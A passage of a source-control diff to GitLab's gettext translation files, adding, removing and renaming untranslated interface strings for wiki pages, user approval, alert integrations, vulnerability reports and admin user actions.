msgid "This pipeline makes use of a predefined CI/CD configuration enabled by %{b_open}Auto DevOps.%{b_close}"
msgstr ""
@@ -27553,6 +28161,9 @@ msgstr ""
msgid "This user cannot be unlocked manually from GitLab"
msgstr ""
+msgid "This user does not have a pending request"
+msgstr ""
+
msgid "This user has no active %{type}."
msgstr ""
@@ -27598,6 +28209,9 @@ msgstr ""
msgid "Threat Monitoring"
msgstr ""
+msgid "ThreatMonitoring|Alerts"
+msgstr ""
+
msgid "ThreatMonitoring|All Environments"
msgstr ""
@@ -27898,6 +28512,9 @@ msgstr ""
msgid "Timeout connecting to the Google API. Please try again."
msgstr ""
+msgid "Timezone"
+msgstr ""
+
msgid "Time|hr"
msgid_plural "Time|hrs"
msgstr[0] ""
@@ -27914,6 +28531,9 @@ msgstr ""
msgid "Tip:"
msgstr ""
+msgid "Tip: add a"
+msgstr ""
+
msgid "Title"
msgstr ""
@@ -28049,7 +28669,7 @@ msgstr ""
msgid "To use Gitpod you must first enable the feature in the integrations section of your %{user_prefs}."
msgstr ""
-msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
+msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
@@ -28148,6 +28768,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "Too many users specified (limit is %{user_limit})"
+msgstr ""
+
msgid "Too much data"
msgstr ""
@@ -28490,6 +29113,9 @@ msgstr ""
msgid "Unable to convert Kubernetes logs encoding to UTF-8"
msgstr ""
+msgid "Unable to create link to vulnerability"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -28556,7 +29182,7 @@ msgstr ""
msgid "Unassigned"
msgstr ""
-msgid "Unblock"
+msgid "Unauthenticated request rate limit"
msgstr ""
msgid "Undo"
@@ -28628,10 +29254,10 @@ msgstr ""
msgid "Unlocks the discussion."
msgstr ""
-msgid "Unmarked this %{noun} as Work In Progress."
+msgid "Unmarked this %{noun} as a draft."
msgstr ""
-msgid "Unmarks this %{noun} as Work In Progress."
+msgid "Unmarks this %{noun} as a draft."
msgstr ""
msgid "Unreachable"
@@ -28826,9 +29452,6 @@ msgstr ""
msgid "Upgrade your plan to improve Merge Requests."
msgstr ""
-msgid "Upload %{code_open}GoogleCodeProjectHosting.json%{code_close} here:"
-msgstr ""
-
msgid "Upload CSV file"
msgstr ""
@@ -28847,6 +29470,9 @@ msgstr ""
msgid "Upload a private key for your certificate"
msgstr ""
+msgid "Upload an image"
+msgstr ""
+
msgid "Upload file"
msgstr ""
@@ -28883,6 +29509,9 @@ msgstr ""
msgid "Usage"
msgstr ""
+msgid "Usage Trends"
+msgstr ""
+
msgid "Usage ping is off"
msgstr ""
@@ -28973,6 +29602,9 @@ msgstr ""
msgid "UsageQuota|Unlimited"
msgstr ""
+msgid "UsageQuota|Uploads"
+msgstr ""
+
msgid "UsageQuota|Usage"
msgstr ""
@@ -29120,6 +29752,12 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} (Busy)"
+msgstr ""
+
+msgid "UserAvailability|(Busy)"
+msgstr ""
+
msgid "UserLists|Add"
msgstr ""
@@ -29177,6 +29815,9 @@ msgstr ""
msgid "UserList|created %{timeago}"
msgstr ""
+msgid "UserProfile|(Busy)"
+msgstr ""
+
msgid "UserProfile|Activity"
msgstr ""
@@ -29222,6 +29863,9 @@ msgstr ""
msgid "UserProfile|Report abuse"
msgstr ""
+msgid "UserProfile|Retry"
+msgstr ""
+
msgid "UserProfile|Snippets"
msgstr ""
@@ -29252,6 +29896,9 @@ msgstr ""
msgid "UserProfile|This user is blocked"
msgstr ""
+msgid "UserProfile|Unconfirmed user"
+msgstr ""
+
msgid "UserProfile|View all"
msgstr ""
@@ -29288,6 +29935,9 @@ msgstr ""
msgid "Username or email"
msgstr ""
+msgid "Username: %{username}"
+msgstr ""
+
msgid "Users"
msgstr ""
@@ -29330,15 +29980,15 @@ msgstr ""
msgid "UsersSelect|Unassigned"
msgstr ""
-msgid "Using %{codeStart}needs%{codeEnd} allows jobs to run before their stage is reached, as soon as their individual dependencies are met, which speeds up your pipelines."
-msgstr ""
-
msgid "Using %{code_start}::%{code_end} denotes a %{link_start}scoped label set%{link_end}"
msgstr ""
msgid "Using required encryption strategy when encrypted field is missing!"
msgstr ""
+msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
+msgstr ""
+
msgid "Valid from"
msgstr ""
@@ -29408,7 +30058,7 @@ msgstr ""
msgid "Various settings that affect GitLab performance."
msgstr ""
-msgid "Verification capacity"
+msgid "Verification concurrency limit"
msgstr ""
msgid "Verification information"
@@ -29487,6 +30137,9 @@ msgstr ""
msgid "View file @ %{commitSha}"
msgstr ""
+msgid "View file @%{commit_sha}"
+msgstr ""
+
msgid "View full dashboard"
msgstr ""
@@ -29544,6 +30197,9 @@ msgstr ""
msgid "View replaced file @ "
msgstr ""
+msgid "View setting"
+msgstr ""
+
msgid "View supported languages and frameworks"
msgstr ""
@@ -29637,9 +30293,6 @@ msgstr ""
msgid "VisualReviewApp|Steps 1 and 2 (and sometimes 3) are performed once by the developer before requesting feedback. Steps 3 (if necessary), 4 is performed by the reviewer each time they perform a review."
msgstr ""
-msgid "Visualization"
-msgstr ""
-
msgid "Vulnerabilities"
msgstr ""
@@ -29745,6 +30398,12 @@ msgstr ""
msgid "Vulnerability|Activity"
msgstr ""
+msgid "Vulnerability|Actual received response is the one received when this fault was detected"
+msgstr ""
+
+msgid "Vulnerability|Additional Info"
+msgstr ""
+
msgid "Vulnerability|Class"
msgstr ""
@@ -29793,10 +30452,7 @@ msgstr ""
msgid "Vulnerability|Project"
msgstr ""
-msgid "Vulnerability|Request"
-msgstr ""
-
-msgid "Vulnerability|Response"
+msgid "Vulnerability|Request/Response"
msgstr ""
msgid "Vulnerability|Scanner"
@@ -29811,6 +30467,9 @@ msgstr ""
msgid "Vulnerability|Status"
msgstr ""
+msgid "Vulnerability|The unmodified response is the original response that had no mutations done to the request"
+msgstr ""
+
msgid "Wait for the file to load to copy its contents"
msgstr ""
@@ -29835,6 +30494,9 @@ msgstr ""
msgid "We are currently unable to fetch data for this graph."
msgstr ""
+msgid "We are currently unable to fetch data for this pipeline."
+msgstr ""
+
msgid "We could not determine the path to remove the epic"
msgstr ""
@@ -29964,6 +30626,9 @@ msgstr ""
msgid "Webhooks|Push events"
msgstr ""
+msgid "Webhooks|Releases events"
+msgstr ""
+
msgid "Webhooks|SSL verification"
msgstr ""
@@ -29979,6 +30644,9 @@ msgstr ""
msgid "Webhooks|This URL is triggered when a feature flag is turned on or off"
msgstr ""
+msgid "Webhooks|This URL is triggered when a release is created/updated"
+msgstr ""
+
msgid "Webhooks|This URL will be triggered by a push to the repository"
msgstr ""
@@ -30060,12 +30728,18 @@ msgstr ""
msgid "What is squashing?"
msgstr ""
+msgid "What is your job title? (optional)"
+msgstr ""
+
msgid "What's new at GitLab"
msgstr ""
msgid "What’s your experience level?"
msgstr ""
+msgid "When Kroki is enabled, GitLab sends diagrams to an instance of Kroki to display them as images. You can use the free public cloud instance %{kroki_public_url} or you can %{install_link} on your own infrastructure. Once you've installed Kroki, make sure to update the server URL to point to your instance."
+msgstr ""
+
msgid "When a deployment job is successful, skip older deployment jobs that are still pending"
msgstr ""
@@ -30122,7 +30796,13 @@ msgstr ""
msgid "Wiki"
msgstr ""
-msgid "Wiki was successfully updated."
+msgid "Wiki page was successfully created."
+msgstr ""
+
+msgid "Wiki page was successfully deleted."
+msgstr ""
+
+msgid "Wiki page was successfully updated."
msgstr ""
msgid "WikiClone|Clone your wiki"
@@ -30278,6 +30958,9 @@ msgstr ""
msgid "Wiki|Pages"
msgstr ""
+msgid "Wiki|The sidebar failed to load. You can reload the page to try again."
+msgstr ""
+
msgid "Wiki|Title"
msgstr ""
@@ -30359,9 +31042,6 @@ msgstr ""
msgid "Yes, delete project"
msgstr ""
-msgid "Yes, let me map Google Code users to full names or GitLab users."
-msgstr ""
-
msgid "Yesterday"
msgstr ""
@@ -30371,6 +31051,9 @@ msgstr ""
msgid "You already have pending todo for this alert"
msgstr ""
+msgid "You are about to add %{usersTag} people to the discussion. They will all receive a notification."
+msgstr ""
+
msgid "You are about to delete %{domain} from your instance. This domain will no longer be available to any Knative application."
msgstr ""
@@ -30416,6 +31099,9 @@ msgstr ""
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
+msgid "You are not allowed to reject a user"
+msgstr ""
+
msgid "You are not allowed to unlink your primary login account"
msgstr ""
@@ -30575,6 +31261,9 @@ msgstr ""
msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
msgstr ""
+msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
+msgstr ""
+
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
@@ -30617,6 +31306,9 @@ msgstr ""
msgid "You do not have permission to run the Web Terminal. Please contact a project administrator."
msgstr ""
+msgid "You do not have permission to update the environment."
+msgstr ""
+
msgid "You do not have permissions to run the import."
msgstr ""
@@ -30695,6 +31387,12 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an on-call schedule for this project"
+msgstr ""
+
+msgid "You have insufficient permissions to remove an on-call schedule from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
@@ -30779,9 +31477,6 @@ msgstr ""
msgid "You need to upload a GitLab project export archive (ending in .gz)."
msgstr ""
-msgid "You need to upload a Google Takeout archive."
-msgstr ""
-
msgid "You successfully declined the invitation"
msgstr ""
@@ -30824,13 +31519,10 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push project code via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
-msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
msgstr ""
-msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
msgid "You'll be signed out from your current account automatically."
@@ -30860,9 +31552,6 @@ msgstr ""
msgid "You're not allowed to make changes to this project directly. A fork of this project is being created that you can make changes in, so you can submit a merge request."
msgstr ""
-msgid "You're only seeing %{startTag}other activity%{endTag} in the feed. To add a comment, switch to one of the following options."
-msgstr ""
-
msgid "You're receiving this email because of your account on %{host}."
msgstr ""
@@ -30881,6 +31570,9 @@ msgstr ""
msgid "You've already enabled two-factor authentication using one time password authenticators. In order to register a different device, you must first disable two-factor authentication."
msgstr ""
+msgid "You've rejected %{user}"
+msgstr ""
+
msgid "YouTube"
msgstr ""
@@ -30905,6 +31597,9 @@ msgstr ""
msgid "Your CSV export of %{written_count} from project %{project_name} (%{project_url}) has been added to this email as an attachment."
msgstr ""
+msgid "Your CSV import for project"
+msgstr ""
+
msgid "Your Commit Email will be used for web based operations, such as edits and merges."
msgstr ""
@@ -30917,6 +31612,9 @@ msgstr ""
msgid "Your GPG keys (%{count})"
msgstr ""
+msgid "Your GitLab account request has been approved!"
+msgstr ""
+
msgid "Your GitLab group"
msgstr ""
@@ -31058,6 +31756,9 @@ msgstr ""
msgid "Your issues will be imported in the background. Once finished, you'll get a confirmation email."
msgstr ""
+msgid "Your license does not support on-call schedules"
+msgstr ""
+
msgid "Your license is valid from"
msgstr ""
@@ -31106,6 +31807,12 @@ msgstr ""
msgid "Your request for access has been queued for review."
msgstr ""
+msgid "Your request to join %{host} has been rejected."
+msgstr ""
+
+msgid "Your requirements are being imported. Once finished, you'll receive a confirmation email."
+msgstr ""
+
msgid "Your response has been recorded."
msgstr ""
@@ -31115,6 +31822,9 @@ msgstr ""
msgid "Your search didn't match any commits. Try a different query."
msgstr ""
+msgid "Your sign-in page is %{url}."
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -31124,6 +31834,9 @@ msgstr ""
msgid "Your subscription will expire in %{remaining_days}."
msgstr ""
+msgid "Your username is %{username}."
+msgstr ""
+
msgid "Zoom meeting added"
msgstr ""
@@ -31294,13 +32007,10 @@ msgstr ""
msgid "ciReport|%{sameNum} same"
msgstr ""
-msgid "ciReport|(errors when loading results)"
-msgstr ""
-
-msgid "ciReport|(is loading)"
+msgid "ciReport|: Loading resulted in an error"
msgstr ""
-msgid "ciReport|(is loading, errors when loading results)"
+msgid "ciReport|API Fuzzing"
msgstr ""
msgid "ciReport|All projects"
@@ -31467,6 +32177,12 @@ msgstr[1] ""
msgid "ciReport|View full report"
msgstr ""
+msgid "ciReport|is loading"
+msgstr ""
+
+msgid "ciReport|is loading, errors when loading results"
+msgstr ""
+
msgid "closed issue"
msgstr ""
@@ -31485,9 +32201,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "connecting"
-msgstr ""
-
msgid "container_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -31503,9 +32216,6 @@ msgstr ""
msgid "created %{timeAgo}"
msgstr ""
-msgid "customize"
-msgstr ""
-
msgid "data"
msgstr ""
@@ -31544,9 +32254,6 @@ msgstr ""
msgid "does not have a supported extension. Only %{extension_list} are supported"
msgstr ""
-msgid "done"
-msgstr ""
-
msgid "download it"
msgstr ""
@@ -31635,6 +32342,9 @@ msgstr ""
msgid "for this project"
msgstr ""
+msgid "fork"
+msgstr ""
+
msgid "fork this project"
msgstr ""
@@ -31661,6 +32371,9 @@ msgstr ""
msgid "has already been taken"
msgstr ""
+msgid "has been completed."
+msgstr ""
+
msgid "help"
msgstr ""
@@ -31682,7 +32395,7 @@ msgstr ""
msgid "import flow"
msgstr ""
-msgid "importing"
+msgid "in"
msgstr ""
msgid "in group %{link_to_group}"
@@ -32211,6 +32924,9 @@ msgstr ""
msgid "no one can merge"
msgstr ""
+msgid "no scopes selected"
+msgstr ""
+
msgid "none"
msgstr ""
@@ -32238,6 +32954,9 @@ msgstr ""
msgid "open issue"
msgstr ""
+msgid "opened %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
msgid "opened %{timeAgoString} by %{user}"
msgstr ""
@@ -32250,6 +32969,9 @@ msgstr ""
msgid "or"
msgstr ""
+msgid "originating vulnerability"
+msgstr ""
+
msgid "out of %d total test"
msgid_plural "out of %d total tests"
msgstr[0] ""
@@ -32327,6 +33049,9 @@ msgstr ""
msgid "project members"
msgstr ""
+msgid "project name"
+msgstr ""
+
msgid "projects"
msgstr ""
@@ -32380,6 +33105,9 @@ msgstr ""
msgid "security Reports|There was an error creating the merge request"
msgstr ""
+msgid "severity|Blocker"
+msgstr ""
+
msgid "severity|Critical"
msgstr ""
@@ -32392,9 +33120,15 @@ msgstr ""
msgid "severity|Low"
msgstr ""
+msgid "severity|Major"
+msgstr ""
+
msgid "severity|Medium"
msgstr ""
+msgid "severity|Minor"
+msgstr ""
+
msgid "severity|None"
msgstr ""
@@ -32443,9 +33177,6 @@ msgstr ""
msgid "ssh:"
msgstr ""
-msgid "started"
-msgstr ""
-
msgid "started a discussion on %{design_link}"
msgstr ""
@@ -32476,10 +33207,10 @@ msgstr ""
msgid "suggestPipeline|We’re adding a GitLab CI configuration file to add a pipeline to the project. You could create it manually, but we recommend that you start with a GitLab template that works out of the box."
msgstr ""
-msgid "syntax is correct"
+msgid "syntax is correct."
msgstr ""
-msgid "syntax is incorrect"
+msgid "syntax is incorrect."
msgstr ""
msgid "tag name"
@@ -32488,6 +33219,9 @@ msgstr ""
msgid "teammate%{number}@company.com"
msgstr ""
+msgid "the correct format."
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -32497,6 +33231,9 @@ msgstr ""
msgid "time summary"
msgstr ""
+msgid "to automatically add approvers based on file paths and file types."
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -32569,6 +33306,11 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "vulnerability"
+msgid_plural "vulnerabilities"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "vulnerability|Add a comment"
msgstr ""
diff --git a/locale/id_ID/gitlab.po b/locale/id_ID/gitlab.po
index 21c2bc2618f..c345a25614c 100644
--- a/locale/id_ID/gitlab.po
+++ b/locale/id_ID/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: id\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-11-03 22:40\n"
+"PO-Revision-Date: 2020-12-03 08:09\n"
-msgid " %{project_name}#%{issue_iid} &middot; opened %{issue_created} by %{author}"
+msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author}"
msgstr ""
msgid " %{start} to %{end}"
@@ -79,6 +79,10 @@ msgid "%d Approval"
msgid_plural "%d Approvals"
msgstr[0] ""
+msgid "%d Other"
+msgid_plural "%d Others"
+msgstr[0] ""
+
msgid "%d Package"
msgid_plural "%d Packages"
msgstr[0] ""
@@ -146,14 +150,14 @@ msgid "%d day"
msgid_plural "%d days"
msgstr[0] ""
-msgid "%d day until tags are automatically removed"
-msgid_plural "%d days until tags are automatically removed"
-msgstr[0] ""
-
msgid "%d error"
msgid_plural "%d errors"
msgstr[0] ""
+msgid "%d error found:"
+msgid_plural "%d errors found:"
+msgstr[0] ""
+
msgid "%d exporter"
msgid_plural "%d exporters"
msgstr[0] ""
@@ -296,22 +300,13 @@ msgstr ""
msgid "%{address} is an invalid IP address range"
msgstr ""
-msgid "%{author_link} wrote:"
+msgid "%{anchorOpen}Learn more%{anchorClose} about how you can customize / disable registration on your instance."
msgstr ""
-msgid "%{authorsName}'s thread"
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"@johnsmith\"%{code_close} will add \"By %{link_open}@johnsmith%{link_close}\" to all issues and comments originally created by johnsmith@example.com, and will set %{link_open}@johnsmith%{link_close} as the assignee on all issues originally assigned to johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"John Smith\"%{code_close} will add \"By John Smith\" to all issues and comments originally created by johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsm...@example.com\"%{code_close} will add \"By johnsm...@example.com\" to all issues and comments originally created by johnsmith@example.com. The email address or username is masked to ensure the user's privacy."
+msgid "%{author_link} wrote:"
msgstr ""
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsmith@example.com\"%{code_close} will add \"By %{link_open}johnsmith@example.com%{link_close}\" to all issues and comments originally created by johnsmith@example.com. By default, the email address or username is masked to ensure the user's privacy. Use this option if you want to show the full email address."
+msgid "%{authorsName}'s thread"
msgstr ""
msgid "%{code_open}Masked%{code_close} variables are hidden in job logs (though they must match certain regexp requirements to do so)."
@@ -385,6 +380,9 @@ msgstr ""
msgid "%{count} total weight"
msgstr ""
+msgid "%{criticalStart}%{critical} Critical%{criticalEnd} %{highStart}%{high} High%{highEnd} and %{otherStart}%{otherMessage}%{otherEnd}"
+msgstr ""
+
msgid "%{dashboard_path} could not be found."
msgstr ""
@@ -457,21 +455,27 @@ msgstr ""
msgid "%{host} sign-in from new location"
msgstr ""
-msgid "%{icon}You are about to add %{usersTag} people to the discussion. They will all receive a notification."
-msgstr ""
-
msgid "%{integrations_link_start}Integrations%{link_end} enable you to make third-party applications part of your GitLab workflow. If the available integrations don't meet your needs, consider using a %{webhooks_link_start}webhook%{link_end}."
msgstr ""
msgid "%{issuableType} will be removed! Are you sure?"
msgstr ""
+msgid "%{issueType} actions"
+msgstr ""
+
msgid "%{issuesCount} issues with a limit of %{maxIssueCount}"
msgstr ""
msgid "%{issuesSize} with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
+msgstr ""
+
+msgid "%{labelStart}Assert:%{labelEnd} %{assertion}"
+msgstr ""
+
msgid "%{labelStart}Class:%{labelEnd} %{class}"
msgstr ""
@@ -487,9 +491,6 @@ msgstr ""
msgid "%{labelStart}File:%{labelEnd} %{file}"
msgstr ""
-msgid "%{labelStart}Headers:%{labelEnd} %{headers}"
-msgstr ""
-
msgid "%{labelStart}Image:%{labelEnd} %{image}"
msgstr ""
@@ -505,13 +506,13 @@ msgstr ""
msgid "%{labelStart}Scanner:%{labelEnd} %{scanner}"
msgstr ""
-msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
+msgid "%{labelStart}Sent request:%{labelEnd} %{headers}"
msgstr ""
-msgid "%{labelStart}Status:%{labelEnd} %{status}"
+msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
msgstr ""
-msgid "%{labelStart}URL:%{labelEnd} %{url}"
+msgid "%{labelStart}Unmodified response:%{labelEnd} %{headers}"
msgstr ""
msgid "%{label_for_message} unavailable"
@@ -544,9 +545,6 @@ msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
msgstr ""
-msgid "%{loadingIcon} Started"
-msgstr ""
-
msgid "%{location} is missing required keys: %{keys}"
msgstr ""
@@ -645,31 +643,13 @@ msgstr[0] ""
msgid "%{remaining_approvals} left"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities out of %{total}."
+msgid "%{reportType} %{status}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities."
-msgstr[0] ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
+msgid "%{reportType} detected %{totalStart}%{total}%{totalEnd} potential %{vulnMessage}"
msgstr ""
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities."
-msgstr[0] ""
-
-msgid "%{reportType} %{status} detected %{other} vulnerability."
-msgid_plural "%{reportType} %{status} detected %{other} vulnerabilities."
-msgstr[0] ""
-
-msgid "%{reportType} %{status} detected no vulnerabilities."
+msgid "%{reportType} detected %{totalStart}no%{totalEnd} vulnerabilities."
msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
@@ -725,6 +705,9 @@ msgstr ""
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
+msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
+msgstr ""
+
msgid "%{strong_start}%{branch_count}%{strong_end} Branch"
msgid_plural "%{strong_start}%{branch_count}%{strong_end} Branches"
msgstr[0] ""
@@ -817,6 +800,9 @@ msgstr ""
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} has asked for a GitLab account on your instance %{host}:"
+msgstr ""
+
msgid "%{username}'s avatar"
msgstr ""
@@ -835,12 +821,6 @@ msgstr ""
msgid "&lt; 1 hour"
msgstr ""
-msgid "&lt;no scopes selected&gt;"
-msgstr ""
-
-msgid "&lt;project name&gt;"
-msgstr ""
-
msgid "'%{data}' at %{location} does not match format: %{format}"
msgstr ""
@@ -1415,9 +1395,6 @@ msgstr ""
msgid "Actions"
msgstr ""
-msgid "Activate"
-msgstr ""
-
msgid "Activate Service Desk"
msgstr ""
@@ -1764,9 +1741,15 @@ msgstr ""
msgid "Admin notes"
msgstr ""
+msgid "AdminArea|%{billable_users_link_start}Learn more%{billable_users_link_end} about what defines a billable user"
+msgstr ""
+
msgid "AdminArea|Active users"
msgstr ""
+msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
+msgstr ""
+
msgid "AdminArea|Billable users"
msgstr ""
@@ -1989,6 +1972,15 @@ msgstr ""
msgid "AdminUsers|Access the API"
msgstr ""
+msgid "AdminUsers|Activate"
+msgstr ""
+
+msgid "AdminUsers|Activate user"
+msgstr ""
+
+msgid "AdminUsers|Activate user %{username}?"
+msgstr ""
+
msgid "AdminUsers|Active"
msgstr ""
@@ -2037,16 +2029,19 @@ msgstr ""
msgid "AdminUsers|Blocking user has the following effects:"
msgstr ""
+msgid "AdminUsers|Cannot sign in or access instance information"
+msgstr ""
+
msgid "AdminUsers|Cannot unblock LDAP blocked users"
msgstr ""
msgid "AdminUsers|Deactivate"
msgstr ""
-msgid "AdminUsers|Deactivate User %{username}?"
+msgid "AdminUsers|Deactivate user"
msgstr ""
-msgid "AdminUsers|Deactivate user"
+msgid "AdminUsers|Deactivate user %{username}?"
msgstr ""
msgid "AdminUsers|Deactivated"
@@ -2073,6 +2068,9 @@ msgstr ""
msgid "AdminUsers|External users cannot see internal or private projects unless access is explicitly granted. Also, external users cannot create projects, groups, or personal snippets."
msgstr ""
+msgid "AdminUsers|For more information, please refer to the %{link_start}user account deletion documentation.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Is using seat"
msgstr ""
@@ -2109,6 +2107,15 @@ msgstr ""
msgid "AdminUsers|Regular users have access to their groups and projects"
msgstr ""
+msgid "AdminUsers|Reject"
+msgstr ""
+
+msgid "AdminUsers|Reject request"
+msgstr ""
+
+msgid "AdminUsers|Rejected users:"
+msgstr ""
+
msgid "AdminUsers|Restore user access to the account, including web, Git and API."
msgstr ""
@@ -2148,6 +2155,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unblock"
+msgstr ""
+
+msgid "AdminUsers|Unblock user"
+msgstr ""
+
+msgid "AdminUsers|Unblock user %{username}?"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2157,6 +2173,9 @@ msgstr ""
msgid "AdminUsers|When the user logs back in, their account will reactivate as a fully active account"
msgstr ""
+msgid "AdminUsers|Will be deleted"
+msgstr ""
+
msgid "AdminUsers|Without projects"
msgstr ""
@@ -2166,6 +2185,15 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You can always block their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always deactivate their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always re-activate their account, their data will remain intact."
+msgstr ""
+
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
@@ -2178,7 +2206,13 @@ msgstr ""
msgid "Administration"
msgstr ""
-msgid "Adoption"
+msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
+msgstr ""
+
+msgid "Admin|View pending user approvals"
+msgstr ""
+
+msgid "Admin|Your instance has reached its user cap"
msgstr ""
msgid "Advanced"
@@ -2389,6 +2423,24 @@ msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
msgstr ""
+msgid "AlertMappingBuilder|Define fallback"
+msgstr ""
+
+msgid "AlertMappingBuilder|GitLab alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Make selection"
+msgstr ""
+
+msgid "AlertMappingBuilder|Payload alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Select key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
+msgstr ""
+
msgid "AlertService|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
@@ -2398,9 +2450,18 @@ msgstr ""
msgid "AlertSettings|1. Select integration type"
msgstr ""
+msgid "AlertSettings|2. Add link to your Opsgenie alert list"
+msgstr ""
+
msgid "AlertSettings|2. Name integration"
msgstr ""
+msgid "AlertSettings|3. Set up webhook"
+msgstr ""
+
+msgid "AlertSettings|4. Sample alert payload (optional)"
+msgstr ""
+
msgid "AlertSettings|5. Map fields (optional)"
msgstr ""
@@ -2428,6 +2489,12 @@ msgstr ""
msgid "AlertSettings|Copy"
msgstr ""
+msgid "AlertSettings|Delete integration"
+msgstr ""
+
+msgid "AlertSettings|Edit payload"
+msgstr ""
+
msgid "AlertSettings|Enter integration name"
msgstr ""
@@ -2440,7 +2507,13 @@ msgstr ""
msgid "AlertSettings|HTTP Endpoint"
msgstr ""
-msgid "AlertSettings|HTTP endpoint"
+msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
+msgstr ""
+
+msgid "AlertSettings|If you've provided a sample alert payload, you can create a custom mapping for your endpoint. The default GitLab alert keys are listed below. Please define which payload key should map to the specified GitLab key."
+msgstr ""
+
+msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
msgid "AlertSettings|Integration"
